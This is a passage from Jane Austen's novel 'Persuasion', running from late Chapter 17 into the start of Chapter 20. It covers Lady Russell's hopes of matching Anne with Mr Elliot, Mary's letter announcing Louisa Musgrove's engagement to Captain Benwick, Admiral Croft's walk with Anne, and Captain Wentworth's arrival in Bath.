honours to distinguish her arms, +but still it is a handsome equipage, and no doubt is well known +to convey a Miss Elliot. A widow Mrs Smith lodging in Westgate Buildings! +A poor widow barely able to live, between thirty and forty; +a mere Mrs Smith, an every-day Mrs Smith, of all people and all names +in the world, to be the chosen friend of Miss Anne Elliot, +and to be preferred by her to her own family connections among the nobility +of England and Ireland! Mrs Smith! Such a name!" + +Mrs Clay, who had been present while all this passed, now thought it +advisable to leave the room, and Anne could have said much, +and did long to say a little in defence of her friend's +not very dissimilar claims to theirs, but her sense of personal respect +to her father prevented her. She made no reply. She left it +to himself to recollect, that Mrs Smith was not the only widow +in Bath between thirty and forty, with little to live on, +and no surname of dignity. + +Anne kept her appointment; the others kept theirs, and of course +she heard the next morning that they had had a delightful evening. +She had been the only one of the set absent, for Sir Walter +and Elizabeth had not only been quite at her ladyship's service themselves, +but had actually been happy to be employed by her in collecting others, +and had been at the trouble of inviting both Lady Russell and Mr Elliot; +and Mr Elliot had made a point of leaving Colonel Wallis early, +and Lady Russell had fresh arranged all her evening engagements +in order to wait on her. Anne had the whole history of all that +such an evening could supply from Lady Russell. To her, +its greatest interest must be, in having been very much talked of +between her friend and Mr Elliot; in having been wished for, regretted, +and at the same time honoured for staying away in such a cause. +Her kind, compassionate visits to this old schoolfellow, +sick and reduced, seemed to have quite delighted Mr Elliot. +He thought her a most extraordinary young woman; in her temper, manners, +mind, a model of female excellence. He could meet even Lady Russell +in a discussion of her merits; and Anne could not be given to understand +so much by her friend, could not know herself to be so highly rated +by a sensible man, without many of those agreeable sensations +which her friend meant to create. + +Lady Russell was now perfectly decided in her opinion of Mr Elliot. +She was as much convinced of his meaning to gain Anne in time as of +his deserving her, and was beginning to calculate the number of weeks +which would free him from all the remaining restraints of widowhood, +and leave him at liberty to exert his most open powers of pleasing. +She would not speak to Anne with half the certainty she felt on the subject, +she would venture on little more than hints of what might be hereafter, +of a possible attachment on his side, of the desirableness of the alliance, +supposing such attachment to be real and returned. Anne heard her, +and made no violent exclamations; she only smiled, blushed, +and gently shook her head. + +"I am no match-maker, as you well know," said Lady Russell, +"being much too well aware of the uncertainty of all human events +and calculations. I only mean that if Mr Elliot should some time hence +pay his addresses to you, and if you should be disposed to accept him, +I think there would be every possibility of your being happy together. +A most suitable connection everybody must consider it, but I think +it might be a very happy one." + +"Mr Elliot is an exceedingly agreeable man, and in many respects +I think highly of him," said Anne; "but we should not suit." + +Lady Russell let this pass, and only said in rejoinder, "I own that +to be able to regard you as the future mistress of Kellynch, +the future Lady Elliot, to look forward and see you occupying +your dear mother's place, succeeding to all her rights, +and all her popularity, as well as to all her virtues, would be +the highest possible gratification to me. You are your mother's self +in countenance and disposition; and if I might be allowed to fancy you +such as she was, in situation and name, and home, presiding and blessing +in the same spot, and only superior to her in being more highly valued! +My dearest Anne, it would give me more delight than is often felt +at my time of life!" + +Anne was obliged to turn away, to rise, to walk to a distant table, +and, leaning there in pretended employment, try to subdue the feelings +this picture excited. For a few moments her imagination and her heart +were bewitched. The idea of becoming what her mother had been; +of having the precious name of "Lady Elliot" first revived in herself; +of being restored to Kellynch, calling it her home again, +her home for ever, was a charm which she could not immediately resist. +Lady Russell said not another word, willing to leave the matter +to its own operation; and believing that, could Mr Elliot at that moment +with propriety have spoken for himself!--she believed, in short, +what Anne did not believe. The same image of Mr Elliot speaking +for himself brought Anne to composure again. The charm of Kellynch +and of "Lady Elliot" all faded away. She never could accept him. +And it was not only that her feelings were still adverse to any man +save one; her judgement, on a serious consideration of the possibilities +of such a case was against Mr Elliot. + +Though they had now been acquainted a month, she could not be satisfied +that she really knew his character. That he was a sensible man, +an agreeable man, that he talked well, professed good opinions, +seemed to judge properly and as a man of principle, this was all +clear enough. He certainly knew what was right, nor could she fix +on any one article of moral duty evidently transgressed; but yet she would +have been afraid to answer for his conduct. She distrusted the past, +if not the present. The names which occasionally dropt +of former associates, the allusions to former practices and pursuits, +suggested suspicions not favourable of what he had been. +She saw that there had been bad habits; that Sunday travelling +had been a common thing; that there had been a period of his life +(and probably not a short one) when he had been, at least, +careless in all serious matters; and, though he might now think +very differently, who could answer for the true sentiments of a clever, +cautious man, grown old enough to appreciate a fair character? +How could it ever be ascertained that his mind was truly cleansed? + +Mr Elliot was rational, discreet, polished, but he was not open. +There was never any burst of feeling, any warmth of indignation or delight, +at the evil or good of others. This, to Anne, was a decided imperfection. +Her early impressions were incurable. She prized the frank, +the open-hearted, the eager character beyond all others. +Warmth and enthusiasm did captivate her still. She felt that she could +so much more depend upon the sincerity of those who sometimes looked +or said a careless or a hasty thing, than of those whose presence of mind +never varied, whose tongue never slipped. + +Mr Elliot was too generally agreeable. Various as were the tempers +in her father's house, he pleased them all. He endured too well, +stood too well with every body. He had spoken to her with some +degree of openness of Mrs Clay; had appeared completely to see +what Mrs Clay was about, and to hold her in contempt; and yet +Mrs Clay found him as agreeable as any body. + +Lady Russell saw either less or more than her young friend, +for she saw nothing to excite distrust. She could not imagine +a man more exactly what he ought to be than Mr Elliot; nor did she +ever enjoy a sweeter feeling than the hope of seeing him receive +the hand of her beloved Anne in Kellynch church, in the course of +the following autumn. + + + +Chapter 18 + + +It was the beginning of February; and Anne, having been a month in Bath, +was growing very eager for news from Uppercross and Lyme. +She wanted to hear much more than Mary had communicated. +It was three weeks since she had heard at all. She only knew +that Henrietta was at home again; and that Louisa, though considered to be +recovering fast, was still in Lyme; and she was thinking of them all +very intently one evening, when a thicker letter than usual from Mary +was delivered to her; and, to quicken the pleasure and surprise, +with Admiral and Mrs Croft's compliments. + +The Crofts must be in Bath! A circumstance to interest her. +They were people whom her heart turned to very naturally. + +"What is this?" cried Sir Walter. "The Crofts have arrived in Bath? +The Crofts who rent Kellynch? What have they brought you?" + +"A letter from Uppercross Cottage, Sir." + +"Oh! those letters are convenient passports. They secure an introduction. +I should have visited Admiral Croft, however, at any rate. +I know what is due to my tenant." + +Anne could listen no longer; she could not even have told how +the poor Admiral's complexion escaped; her letter engrossed her. +It had been begun several days back. + + + "February 1st. + +"My dear Anne,--I make no apology for my silence, because I know +how little people think of letters in such a place as Bath. +You must be a great deal too happy to care for Uppercross, which, +as you well know, affords little to write about. We have had +a very dull Christmas; Mr and Mrs Musgrove have not had one dinner party +all the holidays. I do not reckon the Hayters as anybody. +The holidays, however, are over at last: I believe no children ever had +such long ones. I am sure I had not. The house was cleared yesterday, +except of the little Harvilles; but you will be surprised to hear +they have never gone home. Mrs Harville must be an odd mother +to part with them so long. I do not understand it. They are +not at all nice children, in my opinion; but Mrs Musgrove seems to +like them quite as well, if not better, than her grandchildren. +What dreadful weather we have had! It may not be felt in Bath, +with your nice pavements; but in the country it is of some consequence. +I have not had a creature call on me since the second week in January, +except Charles Hayter, who had been calling much oftener than was welcome. +Between ourselves, I think it a great pity Henrietta did not remain at Lyme +as long as Louisa; it would have kept her a little out of his way. +The carriage is gone to-day, to bring Louisa and the Harvilles to-morrow. +We are not asked to dine with them, however, till the day after, +Mrs Musgrove is so afraid of her being fatigued by the journey, +which is not very likely, considering the care that will be taken of her; +and it would be much more convenient to me to dine there to-morrow. +I am glad you find Mr Elliot so agreeable, and wish I could be acquainted +with him too; but I have my usual luck: I am always out of the way +when any thing desirable is going on; always the last of my family +to be noticed. What an immense time Mrs Clay has been staying +with Elizabeth! Does she never mean to go away? But perhaps +if she were to leave the room vacant, we might not be invited. +Let me know what you think of this. I do not expect my children +to be asked, you know. I can leave them at the Great House very well, +for a month or six weeks. I have this moment heard that the Crofts +are going to Bath almost immediately; they think the Admiral gouty. +Charles heard it quite by chance; they have not had the civility +to give me any notice, or of offering to take anything. +I do not think they improve at all as neighbours. We see nothing of them, +and this is really an instance of gross inattention. Charles joins me +in love, and everything proper. Yours affectionately, + + "Mary M---. + +"I am sorry to say that I am very far from well; and Jemima has +just told me that the butcher says there is a bad sore-throat +very much about. I dare say I shall catch it; and my sore-throats, +you know, are always worse than anybody's." + + +So ended the first part, which had been afterwards put into an envelope, +containing nearly as much more. + + +"I kept my letter open, that I might send you word how Louisa +bore her journey, and now I am extremely glad I did, having a great deal +to add. In the first place, I had a note from Mrs Croft yesterday, +offering to convey anything to you; a very kind, friendly note indeed, +addressed to me, just as it ought; I shall therefore be able to +make my letter as long as I like. The Admiral does not seem very ill, +and I sincerely hope Bath will do him all the good he wants. +I shall be truly glad to have them back again. Our neighbourhood +cannot spare such a pleasant family. But now for Louisa. +I have something to communicate that will astonish you not a little. +She and the Harvilles came on Tuesday very safely, and in the evening +we went to ask her how she did, when we were rather surprised +not to find Captain Benwick of the party, for he had been invited +as well as the Harvilles; and what do you think was the reason? +Neither more nor less than his being in love with Louisa, +and not choosing to venture to Uppercross till he had had an answer +from Mr Musgrove; for it was all settled between him and her +before she came away, and he had written to her father by Captain Harville. +True, upon my honour! Are not you astonished? I shall be surprised +at least if you ever received a hint of it, for I never did. +Mrs Musgrove protests solemnly that she knew nothing of the matter. +We are all very well pleased, however, for though it is not equal to her +marrying Captain Wentworth, it is infinitely better than Charles Hayter; +and Mr Musgrove has written his consent, and Captain Benwick +is expected to-day. Mrs Harville says her husband feels a good deal +on his poor sister's account; but, however, Louisa is a great favourite +with both. Indeed, Mrs Harville and I quite agree that we love her +the better for having nursed her. Charles wonders what Captain Wentworth +will say; but if you remember, I never thought him attached to Louisa; +I never could see anything of it. And this is the end, you see, +of Captain Benwick's being supposed to be an admirer of yours. +How Charles could take such a thing into his head was always +incomprehensible to me. I hope he will be more agreeable now. +Certainly not a great match for Louisa Musgrove, but a million times better +than marrying among the Hayters." + + +Mary need not have feared her sister's being in any degree prepared +for the news. She had never in her life been more astonished. +Captain Benwick and Louisa Musgrove! It was almost too wonderful +for belief, and it was with the greatest effort that she could remain +in the room, preserve an air of calmness, and answer the common questions +of the moment. Happily for her, they were not many. Sir Walter +wanted to know whether the Crofts travelled with four horses, +and whether they were likely to be situated in such a part of Bath +as it might suit Miss Elliot and himself to visit in; but had +little curiosity beyond. + +"How is Mary?" said Elizabeth; and without waiting for an answer, +"And pray what brings the Crofts to Bath?" + +"They come on the Admiral's account. He is thought to be gouty." + +"Gout and decrepitude!" said Sir Walter. "Poor old gentleman." + +"Have they any acquaintance here?" asked Elizabeth. + +"I do not know; but I can hardly suppose that, at Admiral Croft's +time of life, and in his profession, he should not have many acquaintance +in such a place as this." + +"I suspect," said Sir Walter coolly, "that Admiral Croft +will be best known in Bath as the renter of Kellynch Hall. +Elizabeth, may we venture to present him and his wife in Laura Place?" + +"Oh, no! I think not. Situated as we are with Lady Dalrymple, cousins, +we ought to be very careful not to embarrass her with acquaintance +she might not approve. If we were not related, it would not signify; +but as cousins, she would feel scrupulous as to any proposal of ours. +We had better leave the Crofts to find their own level. +There are several odd-looking men walking about here, who, +I am told, are sailors. The Crofts will associate with them." + +This was Sir Walter and Elizabeth's share of interest in the letter; +when Mrs Clay had paid her tribute of more decent attention, +in an enquiry after Mrs Charles Musgrove, and her fine little boys, +Anne was at liberty. + +In her own room, she tried to comprehend it. Well might Charles wonder +how Captain Wentworth would feel! Perhaps he had quitted the field, +had given Louisa up, had ceased to love, had found he did not love her. +She could not endure the idea of treachery or levity, or anything +akin to ill usage between him and his friend. She could not endure +that such a friendship as theirs should be severed unfairly. + +Captain Benwick and Louisa Musgrove! The high-spirited, +joyous-talking Louisa Musgrove, and the dejected, thinking, +feeling, reading, Captain Benwick, seemed each of them everything +that would not suit the other. Their minds most dissimilar! +Where could have been the attraction? The answer soon presented itself. +It had been in situation. They had been thrown together several weeks; +they had been living in the same small family party: since Henrietta's +coming away, they must have been depending almost entirely on each other, +and Louisa, just recovering from illness, had been in an interesting state, +and Captain Benwick was not inconsolable. That was a point which Anne +had not been able to avoid suspecting before; and instead of drawing +the same conclusion as Mary, from the present course of events, +they served only to confirm the idea of his having felt some +dawning of tenderness toward herself. She did not mean, however, +to derive much more from it to gratify her vanity, than Mary +might have allowed. She was persuaded that any tolerably pleasing +young woman who had listened and seemed to feel for him would have +received the same compliment. He had an affectionate heart. +He must love somebody. + +She saw no reason against their being happy. Louisa had fine +naval fervour to begin with, and they would soon grow more alike. +He would gain cheerfulness, and she would learn to be an enthusiast +for Scott and Lord Byron; nay, that was probably learnt already; +of course they had fallen in love over poetry. The idea of +Louisa Musgrove turned into a person of literary taste, +and sentimental reflection was amusing, but she had no doubt +of its being so. The day at Lyme, the fall from the Cobb, +might influence her health, her nerves, her courage, her character to +the end of her life, as thoroughly as it appeared to have +influenced her fate. + +The conclusion of the whole was, that if the woman who had been sensible +of Captain Wentworth's merits could be allowed to prefer another man, +there was nothing in the engagement to excite lasting wonder; +and if Captain Wentworth lost no friend by it, certainly nothing +to be regretted. No, it was not regret which made Anne's heart +beat in spite of herself, and brought the colour into her cheeks +when she thought of Captain Wentworth unshackled and free. +She had some feelings which she was ashamed to investigate. +They were too much like joy, senseless joy! + +She longed to see the Crofts; but when the meeting took place, +it was evident that no rumour of the news had yet reached them. +The visit of ceremony was paid and returned; and Louisa Musgrove +was mentioned, and Captain Benwick, too, without even half a smile. + +The Crofts had placed themselves in lodgings in Gay Street, +perfectly to Sir Walter's satisfaction. He was not at all ashamed +of the acquaintance, and did, in fact, think and talk a great deal more +about the Admiral, than the Admiral ever thought or talked about him. + +The Crofts knew quite as many people in Bath as they wished for, +and considered their intercourse with the Elliots as a mere matter of form, +and not in the least likely to afford them any pleasure. +They brought with them their country habit of being almost always together. +He was ordered to walk to keep off the gout, and Mrs Croft +seemed to go shares with him in everything, and to walk +for her life to do him good. Anne saw them wherever she went. +Lady Russell took her out in her carriage almost every morning, +and she never failed to think of them, and never failed to see them. +Knowing their feelings as she did, it was a most attractive picture +of happiness to her. She always watched them as long as she could, +delighted to fancy she understood what they might be talking of, +as they walked along in happy independence, or equally delighted +to see the Admiral's hearty shake of the hand when he encountered +an old friend, and observe their eagerness of conversation +when occasionally forming into a little knot of the navy, Mrs Croft +looking as intelligent and keen as any of the officers around her. + +Anne was too much engaged with Lady Russell to be often walking herself; +but it so happened that one morning, about a week or ten days +after the Croft's arrival, it suited her best to leave her friend, +or her friend's carriage, in the lower part of the town, +and return alone to Camden Place, and in walking up Milsom Street +she had the good fortune to meet with the Admiral. He was standing +by himself at a printshop window, with his hands behind him, +in earnest contemplation of some print, and she not only might have +passed him unseen, but was obliged to touch as well as address him +before she could catch his notice. When he did perceive and +acknowledge her, however, it was done with all his usual frankness +and good humour. "Ha! is it you? Thank you, thank you. +This is treating me like a friend. Here I am, you see, +staring at a picture. I can never get by this shop without stopping. +But what a thing here is, by way of a boat! Do look at it. +Did you ever see the like? What queer fellows your fine painters must be, +to think that anybody would venture their lives in such a shapeless +old cockleshell as that? And yet here are two gentlemen +stuck up in it mightily at their ease, and looking about them at the rocks +and mountains, as if they were not to be upset the next moment, +which they certainly must be. I wonder where that boat was built!" +(laughing heartily); "I would not venture over a horsepond in it. +Well," (turning away), "now, where are you bound? Can I go anywhere +for you, or with you? Can I be of any use?" + +"None, I thank you, unless you will give me the pleasure of your company +the little way our road lies together. I am going home." + + +"That I will, with all my heart, and farther, too. Yes, yes +we will have a snug walk together, and I have something to tell you +as we go along. There, take my arm; that's right; I do not +feel comfortable if I have not a woman there. Lord! what a boat it is!" +taking a last look at the picture, as they began to be in motion. + +"Did you say that you had something to tell me, sir?" + +"Yes, I have, presently. But here comes a friend, Captain Brigden; +I shall only say, `How d'ye do?' as we pass, however. I shall not stop. +`How d'ye do?' Brigden stares to see anybody with me but my wife. +She, poor soul, is tied by the leg. She has a blister on one of her heels, +as large as a three-shilling piece. If you look across the street, +you will see Admiral Brand coming down and his brother. Shabby fellows, +both of them! I am glad they are not on this side of the way. +Sophy cannot bear them. They played me a pitiful trick once: +got away with some of my best men. I will tell you the whole story +another time. There comes old Sir Archibald Drew and his grandson. +Look, he sees us; he kisses his hand to you; he takes you for my wife. +Ah! the peace has come too soon for that younker. Poor old Sir Archibald! +How do you like Bath, Miss Elliot? It suits us very well. +We are always meeting with some old friend or other; the streets +full of them every morning; sure to have plenty of chat; +and then we get away from them all, and shut ourselves in our lodgings, +and draw in our chairs, and are snug as if we were at Kellynch, +ay, or as we used to be even at North Yarmouth and Deal. +We do not like our lodgings here the worse, I can tell you, +for putting us in mind of those we first had at North Yarmouth. +The wind blows through one of the cupboards just in the same way." + +When they were got a little farther, Anne ventured to press again +for what he had to communicate. She hoped when clear of Milsom Street +to have her curiosity gratified; but she was still obliged to wait, +for the Admiral had made up his mind not to begin till they had +gained the greater space and quiet of Belmont; and as she was +not really Mrs Croft, she must let him have his own way. +As soon as they were fairly ascending Belmont, he began-- + +"Well, now you shall hear something that will surprise you. +But first of all, you must tell me the name of the young lady +I am going to talk about. That young lady, you know, that we have +all been so concerned for. The Miss Musgrove, that all this has been +happening to. Her Christian name: I always forget her Christian name." + +Anne had been ashamed to appear to comprehend so soon as she really +did; but now she could safely suggest the name of "Louisa." + +"Ay, ay, Miss Louisa Musgrove, that is the name. I wish young ladies +had not such a number of fine Christian names. I should never be out +if they were all Sophys, or something of that sort. Well, +this Miss Louisa, we all thought, you know, was to marry Frederick. +He was courting her week after week. The only wonder was, +what they could be waiting for, till the business at Lyme came; +then, indeed, it was clear enough that they must wait till her brain +was set to right. But even then there was something odd in their +way of going on. Instead of staying at Lyme, he went off to Plymouth, +and then he went off to see Edward. When we came back from Minehead +he was gone down to Edward's, and there he has been ever since. +We have seen nothing of him since November. Even Sophy could +not understand it. But now, the matter has take the strangest turn of all; +for this young lady, the same Miss Musgrove, instead of being +to marry Frederick, is to marry James Benwick. You know James Benwick." + +"A little. I am a little acquainted with Captain Benwick." + +"Well, she is to marry him. Nay, most likely they are married already, +for I do not know what they should wait for." + +"I thought Captain Benwick a very pleasing young man," said Anne, +"and I understand that he bears an excellent character." + +"Oh! yes, yes, there is not a word to be said against James Benwick. +He is only a commander, it is true, made last summer, and these are +bad times for getting on, but he has not another fault that I know of. +An excellent, good-hearted fellow, I assure you; a very active, +zealous officer too, which is more than you would think for, perhaps, +for that soft sort of manner does not do him justice." + +"Indeed you are mistaken there, sir; I should never augur want of spirit +from Captain Benwick's manners. I thought them particularly pleasing, +and I will answer for it, they would generally please." + +"Well, well, ladies are the best judges; but James Benwick is rather too +piano for me; and though very likely it is all our partiality, +Sophy and I cannot help thinking Frederick's manners better than his. +There is something about Frederick more to our taste." + +Anne was caught. She had only meant to oppose the too common idea +of spirit and gentleness being incompatible with each other, +not at all to represent Captain Benwick's manners as the very best +that could possibly be; and, after a little hesitation, +she was beginning to say, "I was not entering into any comparison +of the two friends," but the Admiral interrupted her with-- + +"And the thing is certainly true. It is not a mere bit of gossip. +We have it from Frederick himself. His sister had a letter +from him yesterday, in which he tells us of it, and he had just had it +in a letter from Harville, written upon the spot, from Uppercross. +I fancy they are all at Uppercross." + +This was an opportunity which Anne could not resist; she said, therefore, +"I hope, Admiral, I hope there is nothing in the style of Captain +Wentworth's letter to make you and Mrs Croft particularly uneasy. +It did seem, last autumn, as if there were an attachment between him +and Louisa Musgrove; but I hope it may be understood to have worn out +on each side equally, and without violence. I hope his letter +does not breathe the spirit of an ill-used man." + +"Not at all, not at all; there is not an oath or a murmur +from beginning to end." + +Anne looked down to hide her smile. + +"No, no; Frederick is not a man to whine and complain; he has +too much spirit for that. If the girl likes another man better, +it is very fit she should have him." + +"Certainly. But what I mean is, that I hope there is nothing +in Captain Wentworth's manner of writing to make you suppose +he thinks himself ill-used by his friend, which might appear, +you know, without its being absolutely said. I should be very sorry +that such a friendship as has subsisted between him and Captain Benwick +should be destroyed, or even wounded, by a circumstance of this sort." + +"Yes, yes, I understand you. But there is nothing at all of that nature +in the letter. He does not give the least fling at Benwick; +does not so much as say, `I wonder at it, I have a reason of my own +for wondering at it.' No, you would not guess, from his way of writing, +that he had ever thought of this Miss (what's her name?) for himself. +He very handsomely hopes they will be happy together; and there is +nothing very unforgiving in that, I think." + +Anne did not receive the perfect conviction which the Admiral meant +to convey, but it would have been useless to press the enquiry farther. +She therefore satisfied herself with common-place remarks or quiet +attention, and the Admiral had it all his own way. + +"Poor Frederick!" said he at last. "Now he must begin all over again +with somebody else. I think we must get him to Bath. Sophy must write, +and beg him to come to Bath. Here are pretty girls enough, I am sure. +It would be of no use to go to Uppercross again, for that other +Miss Musgrove, I find, is bespoke by her cousin, the young parson. +Do not you think, Miss Elliot, we had better try to get him to Bath?" + + + +Chapter 19 + + +While Admiral Croft was taking this walk with Anne, and expressing +his wish of getting Captain Wentworth to Bath, Captain Wentworth +was already on his way thither. Before Mrs Croft had written, +he was arrived, and the very next time Anne walked out, she saw him. + +Mr Elliot was attending his two cousins and Mrs Clay. They were +in Milsom Street. It began to rain, not much, but enough to +make shelter desirable for women, and quite enough to make it +very desirable for Miss Elliot to have the advantage of being +conveyed home in Lady Dalrymple's carriage, which was seen waiting +at a little distance; she, Anne, and Mrs Clay, therefore, +turned into Molland's, while Mr Elliot stepped to Lady Dalrymple, +to request her assistance. He soon joined them again, successful, +of course; Lady Dalrymple would be most happy to take them home, +and would call for them in a few minutes. + +Her ladyship's carriage was a barouche, and did not hold +more than four with any comfort. Miss Carteret was with her mother; +consequently it was not reasonable to expect accommodation +for all the three Camden Place ladies. There could be no doubt +as to Miss Elliot. Whoever suffered inconvenience, she must suffer none, +but it occupied a little time to settle the point of civility +between the other two. The rain was a mere trifle, and Anne was +most sincere in preferring a walk with Mr Elliot. But the rain was also +a mere trifle to Mrs Clay; she would hardly allow it even to drop at all, +and her boots were so thick! much thicker than Miss Anne's; +and, in short, her civility rendered her quite as anxious to be left +to walk with Mr Elliot as Anne could be, and it was discussed between them +with a generosity so polite and so determined, that the others were +obliged to settle it for them; Miss Elliot maintaining that Mrs Clay +had a little cold already, and Mr Elliot deciding on appeal, +that his cousin Anne's boots were rather the thickest. + +It was fixed accordingly, that Mrs Clay should be of the party +in the carriage; and they had just reached this point, when Anne, +as she sat near the window, descried, most decidedly and distinctly, +Captain Wentworth walking down the street. + +Her start was perceptible only to herself; but she instantly felt that +she was the greatest simpleton in the world, the most unaccountable +and absurd! For a few minutes she saw nothing before her; +it was all confusion. She was lost, and when she had scolded +back her senses, she found the others still waiting for the carriage, +and Mr Elliot (always obliging) just setting off for Union Street +on a commission of Mrs Clay's. + +She now felt a great inclination to go to the outer door; +she wanted to see if it rained. Why was she to suspect herself +of another motive? Captain Wentworth must be out of sight. +She left her seat, she would go; one half of her should not be always +so much wiser than the other half, or always suspecting the other +of being worse than it was. She would see if it rained. +She was sent back, however, in a moment by the entrance of +Captain Wentworth himself, among a party of gentlemen and ladies, +evidently his acquaintance, and whom he must have joined +a little below Milsom Street. He was more obviously struck +and confused by the sight of her than she had ever observed before; +he looked quite red. For the first time, since their renewed acquaintance, +she felt that she was betraying the least sensibility of the two. +She had the advantage of him in the preparation of the last few moments. +All the overpowering, blinding, bewildering, first effects +of strong surprise were over with her. Still, however, +she had enough to feel! It was agitation, pain, pleasure, +a something between delight and misery. + +He spoke to her, and then turned away. The character of his manner +was embarrassment. She could not have called it either cold or friendly, +or anything so certainly as embarrassed. + +After a short interval, however, he came towards her, and spoke again. +Mutual enquiries on common subjects passed: neither of them, probably, +much the wiser for what they heard, and Anne continuing fully sensible +of his being less at ease than formerly. They had by dint of being +so very much together, got to speak to each other with a considerable +portion of apparent indifference and calmness; but he could not do it now. +Time had changed him, or Louisa had changed him. There was consciousness +of some sort or other. He looked very well, not as if he had been +suffering in health or spirits, and he talked of Uppercross, +of the Musgroves, nay, even of Louisa, and had even a momentary look +of his own arch significance as he named her; but yet it was +Captain Wentworth not comfortable, not easy, not able to feign that he was. + +It did not surprise, but it grieved Anne to observe that Elizabeth +would not know him. She saw that he saw Elizabeth, that Elizabeth saw him, +that there was complete internal recognition on each side; +she was convinced that he was ready to be acknowledged as an acquaintance, +expecting it, and she had the pain of seeing her sister turn away +with unalterable coldness. + +Lady Dalrymple's carriage, for which Miss Elliot was growing +very impatient, now drew up; the servant came in to announce it. +It was beginning to rain again, and altogether there was a delay, +and a bustle, and a talking, which must make all the little crowd +in the shop understand that Lady Dalrymple was calling to convey +Miss Elliot. At last Miss Elliot and her friend, unattended but +by the servant, (for there was no cousin returned), were walking off; +and Captain Wentworth, watching them, turned again to Anne, +and by manner, rather than words, was offering his services to her. + +"I am much obliged to you," was her answer, "but I am not going with them. +The carriage would not accommodate so many. I walk: I prefer walking." + +"But it rains." + +"Oh! very little, Nothing that I regard." + +After a moment's pause he said: "Though I came only yesterday, +I have equipped myself properly for Bath already, you see," +(pointing to a new umbrella); "I wish you would make use of it, +if you are determined to walk; though I think it would be more prudent +to let me get you a chair." + +She was very much obliged to him, but declined it all, repeating +her conviction, that the rain would come to nothing at present, +and adding, "I am only waiting for Mr Elliot. He will be here in a moment, +I am sure." + +She had hardly spoken the words when Mr Elliot walked in. +Captain Wentworth recollected him perfectly. There was no difference +between him and the man who had stood on the steps at Lyme, +admiring Anne as she passed, except in the air and look and manner +of the privileged relation and friend. He came in with eagerness, +appeared to see and think only of her, apologised for his stay, +was grieved to have kept her waiting, and anxious to get her away +without further loss of time and before the rain increased; +and in another moment they walked off together, her arm under his, +a gentle and embarrassed glance, and a "Good morning to you!" +being all that she had time for, as she passed away. + +As soon as they were out of sight, the ladies of Captain Wentworth's party +began talking of them. + +"Mr Elliot does not dislike his cousin, I fancy?" + +"Oh! no, that is clear enough. One can guess what will happen there. +He is always with them; half lives in the family, I believe. +What a very good-looking man!" + +"Yes, and Miss Atkinson, who dined with him once at the Wallises, +says he is the most agreeable man she ever was in company with." + +"She is pretty, I think; Anne Elliot; very pretty, when one comes +to look at her. It is not the fashion to say so, but I confess +I admire her more than her sister." + +"Oh! so do I." + +"And so do I. No comparison. But the men are all wild after Miss Elliot. +Anne is too delicate for them." + +Anne would have been particularly obliged to her cousin, if he would have +walked by her side all the way to Camden Place, without saying a word. +She had never found it so difficult to listen to him, though nothing +could exceed his solicitude and care, and though his subjects +were principally such as were wont to be always interesting: +praise, warm, just, and discriminating, of Lady Russell, +and insinuations highly rational against Mrs Clay. But just now +she could think only of Captain Wentworth. She could not understand +his present feelings, whether he were really suffering much +from disappointment or not; and till that point were settled, +she could not be quite herself. + +She hoped to be wise and reasonable in time; but alas! alas! +she must confess to herself that she was not wise yet. + +Another circumstance very essential for her to know, was how long +he meant to be in Bath; he had not mentioned it, or she could not +recollect it. He might be only passing through. But it was more probable +that he should be come to stay. In that case, so liable as every body was +to meet every body in Bath, Lady Russell would in all likelihood +see him somewhere. Would she recollect him? How would it all be? + +She had already been obliged to tell Lady Russell that Louisa Musgrove +was to marry Captain Benwick. It had cost her something to encounter +Lady Russell's surprise; and now, if she were by any chance +to be thrown into company with Captain Wentworth, her imperfect knowledge +of the matter might add another shade of prejudice against him. + +The following morning Anne was out with her friend, and for the first hour, +in an incessant and fearful sort of watch for him in vain; but at last, +in returning down Pulteney Street, she distinguished him +on the right hand pavement at such a distance as to have him in view +the greater part of the street. There were many other men about him, +many groups walking the same way, but there was no mistaking him. +She looked instinctively at Lady Russell; but not from any mad idea +of her recognising him so soon as she did herself. No, it was +not to be supposed that Lady Russell would perceive him till they +were nearly opposite. She looked at her however, from time to time, +anxiously; and when the moment approached which must point him out, +though not daring to look again (for her own countenance she knew +was unfit to be seen), she was yet perfectly conscious of +Lady Russell's eyes being turned exactly in the direction for him-- +of her being, in short, intently observing him. She could thoroughly +comprehend the sort of fascination he must possess over Lady Russell's mind, +the difficulty it must be for her to withdraw her eyes, the astonishment +she must be feeling that eight or nine years should have passed over him, +and in foreign climes and in active service too, without robbing him +of one personal grace! + +At last, Lady Russell drew back her head. "Now, how would she +speak of him?" + +"You will wonder," said she, "what has been fixing my eye so long; +but I was looking after some window-curtains, which Lady Alicia and +Mrs Frankland were telling me of last night. They described +the drawing-room window-curtains of one of the houses on this +side of the way, and this part of the street, as being the handsomest +and best hung of any in Bath, but could not recollect the exact number, +and I have been trying to find out which it could be; but I confess +I can see no curtains hereabouts that answer their description." + +Anne sighed and blushed and smiled, in pity and disdain, +either at her friend or herself. The part which provoked her most, +was that in all this waste of foresight and caution, she should have +lost the right moment for seeing whether he saw them. + +A day or two passed without producing anything. The theatre or the rooms, +where he was most likely to be, were not fashionable enough +for the Elliots, whose evening amusements were solely in the +elegant stupidity of private parties, in which they were getting +more and more engaged; and Anne, wearied of such a state of stagnation, +sick of knowing nothing, and fancying herself stronger because +her strength was not tried, was quite impatient for the concert evening. +It was a concert for the benefit of a person patronised by Lady Dalrymple. +Of course they must attend. It was really expected to be a good one, +and Captain Wentworth was very fond of music. If she could only have +a few minutes conversation with him again, she fancied she should +be satisfied; and as to the power of addressing him, she felt all over +courage if the opportunity occurred. Elizabeth had turned from him, +Lady Russell overlooked him; her nerves were strengthened +by these circumstances; she felt that she owed him attention. + +She had once partly promised Mrs Smith to spend the evening with her; +but in a short hurried call she excused herself and put it off, +with the more decided promise of a longer visit on the morrow. +Mrs Smith gave a most good-humoured acquiescence. + +"By all means," said she; "only tell me all about it, when you do come. +Who is your party?" + +Anne named them all. Mrs Smith made no reply; but when she was +leaving her said, and with an expression half serious, half arch, +"Well, I heartily wish your concert may answer; and do not fail me +to-morrow if you can come; for I begin to have a foreboding +that I may not have many more visits from you." + +Anne was startled and confused; but after standing in a moment's suspense, +was obliged, and not sorry to be obliged, to hurry away. + + + +Chapter 20 + + +Sir Walter, his two daughters, and Mrs Clay, were the earliest +of all their party at the rooms in the evening; and as Lady Dalrymple +must be waited for, they took their station by one of the fires +in the Octagon Room. But hardly were they so settled, when the door +opened again, and Captain Wentworth walked in alone. Anne was +the nearest to him, and making yet a little advance, she instantly spoke. +He was preparing only to bow and pass on, but her gentle "How do you do?" +brought him out of the straight line to stand near her, and make enquiries +in return, in spite of the formidable father and sister in the back ground. +Their being in the back 